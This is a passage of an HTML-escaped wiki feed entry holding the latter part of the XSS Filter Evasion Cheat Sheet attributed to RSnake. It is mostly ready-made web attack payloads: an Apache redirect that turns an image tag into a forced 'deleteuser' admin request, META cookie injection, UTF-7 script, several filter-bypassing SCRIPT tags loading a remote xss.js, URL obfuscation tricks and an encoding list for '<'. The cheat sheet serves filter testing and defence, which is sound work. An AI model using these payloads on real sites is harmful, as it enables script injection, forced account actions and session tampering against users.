=== IMG Embedded commands part II ===&lt;br /&gt;
This is more scary because there are absolutely no identifiers that make it look suspicious other than it is not hosted on your own domain. The vector uses a 302 or 304 (others work too) to redirect the image back to a command. So a normal &amp;lt;IMG SRC=&amp;quot;http://badguy.com/a.jpg&amp;quot;&amp;gt; could actually be an attack vector to run commands as the user who views the image link. Here is the .htaccess (under Apache) line to accomplish the vector (thanks to Timo for part of this):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;Redirect 302 /a.jpg http://victimsite.com/admin.asp&amp;amp;deleteuser&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Cookie manipulation ==&lt;br /&gt;
Admittidly this is pretty obscure but I have seen a few examples where &amp;lt;META is allowed and you can use it to overwrite cookies. There are other examples of sites where instead of fetching the username from a database it is stored inside of a cookie to be displayed only to the user who visits the page. With these two scenarios combined you can modify the victim's cookie which will be displayed back to them as JavaScript (you can also use this to log people out or change their user states, get them to log in as you, etc...):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;META HTTP-EQUIV=&amp;quot;Set-Cookie&amp;quot; Content=&amp;quot;USERID=&amp;amp;lt;SCRIPT&amp;amp;gt;alert('XSS')&amp;amp;lt;/SCRIPT&amp;amp;gt;&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== UTF-7 encoding ==&lt;br /&gt;
If the page that the XSS resides on doesn't provide a page charset header, or any browser that is set to UTF-7 encoding can be exploited with the following (Thanks to Roman Ivanov for this one). Click here for an example (you don't need the charset statement if the user's browser is set to auto-detect and there is no overriding content-types on the page in Internet Explorer and Netscape 8.1 in IE rendering engine mode). This does not work in any modern browser without changing the encoding type which is why it is marked as completely unsupported. Watchfire found this hole in Google's custom 404 script.: &lt;br /&gt;
  &amp;lt;nowiki&amp;gt;&amp;lt;HEAD&amp;gt;&amp;lt;META HTTP-EQUIV=&amp;quot;CONTENT-TYPE&amp;quot; CONTENT=&amp;quot;text/html; charset=UTF-7&amp;quot;&amp;gt; &amp;lt;/HEAD&amp;gt;+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== XSS using HTML quote encapsulation ==&lt;br /&gt;
This was tested in IE, your mileage may vary. For performing XSS on sites that allow &amp;quot;&amp;lt;SCRIPT&amp;gt;&amp;quot; but don't allow &amp;quot;&amp;lt;SCRIPT SRC...&amp;quot; by way of a regex filter &amp;quot;/&amp;lt;script[^&amp;gt;]+src/i&amp;quot;:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;SCRIPT a=&amp;quot;&amp;gt;&amp;quot; SRC=&amp;quot;http://ha.ckers.org/xss.js&amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
For performing XSS on sites that allow &amp;quot;&amp;lt;SCRIPT&amp;gt;&amp;quot; but don't allow &amp;quot;&amp;lt;script src...&amp;quot; by way of a regex filter &amp;quot;/&amp;lt;script((\s+\w+(\s*=\s*(?:&amp;quot;(.)*?&amp;quot;|'(.)*?'|[^'&amp;quot;&amp;gt;\s]+))?)+\s*|\s*)src/i&amp;quot; (this is an important one, because I've seen this regex in the wild):&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;SCRIPT =&amp;quot;&amp;gt;&amp;quot; SRC=&amp;quot;http://ha.ckers.org/xss.js&amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Another XSS to evade the same filter, &amp;quot;/&amp;lt;script((\s+\w+(\s*=\s*(?:&amp;quot;(.)*?&amp;quot;|'(.)*?'|[^'&amp;quot;&amp;gt;\s]+))?)+\s*|\s*)src/i&amp;quot;:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;SCRIPT a=&amp;quot;&amp;gt;&amp;quot; '' SRC=&amp;quot;http://ha.ckers.org/xss.js&amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Yet another XSS to evade the same filter, &amp;quot;/&amp;lt;script((\s+\w+(\s*=\s*(?:&amp;quot;(.)*?&amp;quot;|'(.)*?'|[^'&amp;quot;&amp;gt;\s]+))?)+\s*|\s*)src/i&amp;quot;. I know I said I wasn't goint to discuss mitigation techniques but the only thing I've seen work for this XSS example if you still want to allow &amp;lt;SCRIPT&amp;gt; tags but not remote script is a state machine (and of course there are other ways to get around this if they allow &amp;lt;SCRIPT&amp;gt; tags):&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;SCRIPT &amp;quot;a='&amp;gt;'&amp;quot; SRC=&amp;quot;http://ha.ckers.org/xss.js&amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
And one last XSS attack to evade, &amp;quot;/&amp;lt;script((\s+\w+(\s*=\s*(?:&amp;quot;(.)*?&amp;quot;|'(.)*?'|[^'&amp;quot;&amp;gt;\s]+))?)+\s*|\s*)src/i&amp;quot; using grave accents (again, doesn't work in Firefox):&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;SCRIPT a=`&amp;gt;` SRC=&amp;quot;http://ha.ckers.org/xss.js&amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Here's an XSS example that bets on the fact that the regex won't catch a matching pair of quotes but will rather find any quotes to terminate a parameter string improperly:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;SCRIPT a=&amp;quot;&amp;gt;'&amp;gt;&amp;quot; SRC=&amp;quot;http://ha.ckers.org/xss.js&amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This XSS still worries me, as it would be nearly impossible to stop this without blocking all active content:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;SCRIPT&amp;gt;document.write(&amp;quot;&amp;lt;SCRI&amp;quot;);&amp;lt;/SCRIPT&amp;gt;PT SRC=&amp;quot;http://ha.ckers.org/xss.js&amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== URL string evasion ==&lt;br /&gt;
Assuming &amp;quot;http://www.google.com/&amp;quot; is pro grammatically disallowed:&lt;br /&gt;
&lt;br /&gt;
=== IP verses hostname ===&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;http://66.102.7.147/&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== URL encoding ===&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Dword encoding ===&lt;br /&gt;
(Note: there are other of variations of Dword encoding - see the IP Obfuscation calculator below for more details):&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;http://1113982867/&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Hex encoding ===&lt;br /&gt;
The total size of each number allowed is somewhere in the neighborhood of 240 total characters as you can see on the second digit, and since the hex number is between 0 and F the leading zero on the third hex quotet is not required):&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;http://0x42.0x0000066.0x7.0x93/&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Octal encoding ===&lt;br /&gt;
Again padding is allowed, although you must keep it above 4 total characters per class - as in class A, class B, etc...:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;http://0102.0146.0007.00000223/&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Mixed encoding === &lt;br /&gt;
Let's mix and match base encoding and throw in some tabs and newlines - why browsers allow this, I'll never know). The tabs and newlines only work if this is encapsulated with quotes:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;h&lt;br /&gt;
tt	p://6&amp;amp;#9;6.000146.0x7.147/&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Protocol resolution bypass ===&lt;br /&gt;
(// translates to http:// which saves a few more bytes). This is really handy when space is an issue too (two less characters can go a long way) and can easily bypass regex like &amp;quot;(ht|f)tp(s)?://&amp;quot; (thanks to Ozh for part of this one). You can also change the &amp;quot;//&amp;quot; to &amp;quot;\\&amp;quot;. You do need to keep the slashes in place, however, otherwise this will be interpreted as a relative path URL.&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;//www.google.com/&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Google &amp;quot;feeling lucky&amp;quot; part 1. ===&lt;br /&gt;
Firefox uses Google's &amp;quot;feeling lucky&amp;quot; function to redirect the user to any keywords you type in. So if your exploitable page is the top for some random keyword (as you see here) you can use that feature against any Firefox user. This uses Firefox's &amp;quot;keyword:&amp;quot; protocol. You can concatinate several keywords by using something like the following &amp;quot;keyword:XSS+RSnake&amp;quot; for instance. This no longer works within Firefox as of 2.0. &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;//google&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Google &amp;quot;feeling lucky&amp;quot; part 2.===&lt;br /&gt;
This uses a very tiny trick that appears to work Firefox only, because if it's implementation of the &amp;quot;feeling lucky&amp;quot; function. Unlike the next one this does not work in Opera because Opera believes that this is the old HTTP Basic Auth phishing attack, which it is not. It's simply a malformed URL. If you click okay on the dialogue it will work, but as a result of the erroneous dialogue box I am saying that this is not supported in Opera, and it is no longer supported in Firefox as of 2.0:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;http://ha.ckers.org@google&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Google &amp;quot;feeling lucky&amp;quot; part 3. === &lt;br /&gt;
This uses a malformed URL that appears to work in Firefox and Opera only, because if their implementation of the &amp;quot;feeling lucky&amp;quot; function. Like all of the above it requires that you are #1 in Google for the keyword in question (in this case &amp;quot;google&amp;quot;):&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;http://google:ha.ckers.org&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Removing cnames  ===&lt;br /&gt;
When combined with the above URL, removing &amp;quot;www.&amp;quot; will save an additional 4 bytes for a total byte savings of 9 for servers that have this set up properly):&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;http://google.com/&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Extra dot for absolute DNS:===&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;http://www.google.com./&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== JavaScript link location: ===&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;javascript:document.location='http://www.google.com/'&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Content replace as attack vector ===&lt;br /&gt;
Assuming &amp;quot;http://www.google.com/&amp;quot; is programmatically replaced with nothing). I actually used a similar attack vector against a several separate real world XSS filters by using the conversion filter itself (here is an example) to help create the attack vector (IE: &amp;quot;java&amp;amp;#x26;#x09;script:&amp;quot; was converted into &amp;quot;java&amp;amp;#x09;script:&amp;quot;, which renders in IE, Netscape 8.1+ in secure site mode and Opera):&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;http://www.gohttp://www.google.com/ogle.com/&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Character escape sequences ==&lt;br /&gt;
All the possible combinations of the character &amp;quot;&amp;lt;&amp;quot; in HTML and JavaScript. Most of these won't render out of the box, but many of them can get rendered in certain circumstances as seen above.&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;&lt;br /&gt;
 %3C&lt;br /&gt;
 &amp;amp;amp;lt&lt;br /&gt;
 &amp;amp;amp;lt;&lt;br /&gt;
 &amp;amp;amp;LT&lt;br /&gt;
 &amp;amp;amp;LT;&lt;br /&gt;
 &amp;amp;amp;#60&lt;br /&gt;
 &amp;amp;amp;#060&lt;br /&gt;
 &amp;amp;amp;#0060&lt;br /&gt;
 &amp;amp;amp;#00060&lt;br /&gt;
 &amp;amp;amp;#000060&lt;br /&gt;
 &amp;amp;amp;#0000060&lt;br /&gt;
 &amp;amp;amp;#60;&lt;br /&gt;
 &amp;amp;amp;#060;&lt;br /&gt;
 &amp;amp;amp;#0060;&lt;br /&gt;
 &amp;amp;amp;#00060;&lt;br /&gt;
 &amp;amp;amp;#000060;&lt;br /&gt;
 &amp;amp;amp;#0000060;&lt;br /&gt;
 &amp;amp;amp;#x3c&lt;br /&gt;
 &amp;amp;amp;#x03c&lt;br /&gt;
 &amp;amp;amp;#x003c&lt;br /&gt;
 &amp;amp;amp;#x0003c&lt;br /&gt;
 &amp;amp;amp;#x00003c&lt;br /&gt;
 &amp;amp;amp;#x000003c&lt;br /&gt;
 &amp;amp;amp;#x3c;&lt;br /&gt;
 &amp;amp;amp;#x03c;&lt;br /&gt;
 &amp;amp;amp;#x003c;&lt;br /&gt;
 &amp;amp;amp;#x0003c;&lt;br /&gt;
 &amp;amp;amp;#x00003c;&lt;br /&gt;
 &amp;amp;amp;#x000003c;&lt;br /&gt;
 &amp;amp;amp;#X3c&lt;br /&gt;
 &amp;amp;amp;#X03c&lt;br /&gt;
 &amp;amp;amp;#X003c&lt;br /&gt;
 &amp;amp;amp;#X0003c&lt;br /&gt;
 &amp;amp;amp;#X00003c&lt;br /&gt;
 &amp;amp;amp;#X000003c&lt;br /&gt;
 &amp;amp;amp;#X3c;&lt;br /&gt;
 &amp;amp;amp;#X03c;&lt;br /&gt;
 &amp;amp;amp;#X003c;&lt;br /&gt;
 &amp;amp;amp;#X0003c;&lt;br /&gt;
 &amp;amp;amp;#X00003c;&lt;br /&gt;
 &amp;amp;amp;#X000003c;&lt;br /&gt;
 &amp;amp;amp;#x3C&lt;br /&gt;
 &amp;amp;amp;#x03C&lt;br /&gt;
 &amp;amp;amp;#x003C&lt;br /&gt;
 &amp;amp;amp;#x0003C&lt;br /&gt;
 &amp;amp;amp;#x00003C&lt;br /&gt;
 &amp;amp;amp;#x000003C&lt;br /&gt;
 &amp;amp;amp;#x3C;&lt;br /&gt;
 &amp;amp;amp;#x03C;&lt;br /&gt;
 &amp;amp;amp;#x003C;&lt;br /&gt;
 &amp;amp;amp;#x0003C;&lt;br /&gt;
 &amp;amp;amp;#x00003C;&lt;br /&gt;
 &amp;amp;amp;#x000003C;&lt;br /&gt;
 &amp;amp;amp;#X3C&lt;br /&gt;
 &amp;amp;amp;#X03C&lt;br /&gt;
 &amp;amp;amp;#X003C&lt;br /&gt;
 &amp;amp;amp;#X0003C&lt;br /&gt;
 &amp;amp;amp;#X00003C&lt;br /&gt;
 &amp;amp;amp;#X000003C&lt;br /&gt;
 &amp;amp;amp;#X3C;&lt;br /&gt;
 &amp;amp;amp;#X03C;&lt;br /&gt;
 &amp;amp;amp;#X003C;&lt;br /&gt;
 &amp;amp;amp;#X0003C;&lt;br /&gt;
 &amp;amp;amp;#X00003C;&lt;br /&gt;
 &amp;amp;amp;#X000003C;&lt;br /&gt;
 \x3c&lt;br /&gt;
 \x3C&lt;br /&gt;
 \u003c&lt;br /&gt;
 \u003C&lt;br /&gt;
&lt;br /&gt;
= Character Encoding and IP Obfuscation Calculators =&lt;br /&gt;
&lt;br /&gt;
This following links include calculators for doing basic transformation functions that are useful for XSS.&lt;br /&gt;
&lt;br /&gt;
[http://ha.ckers.org/xsscalc.html http://ha.ckers.org/xsscalc.html]&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors =&lt;br /&gt;
&lt;br /&gt;
Robert &amp;quot;RSnake&amp;quot; Hansen from [[www.fallingrocknetworks.com]]&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Glenn 'devalias' Grant</name></author>	</entry>

	</feed>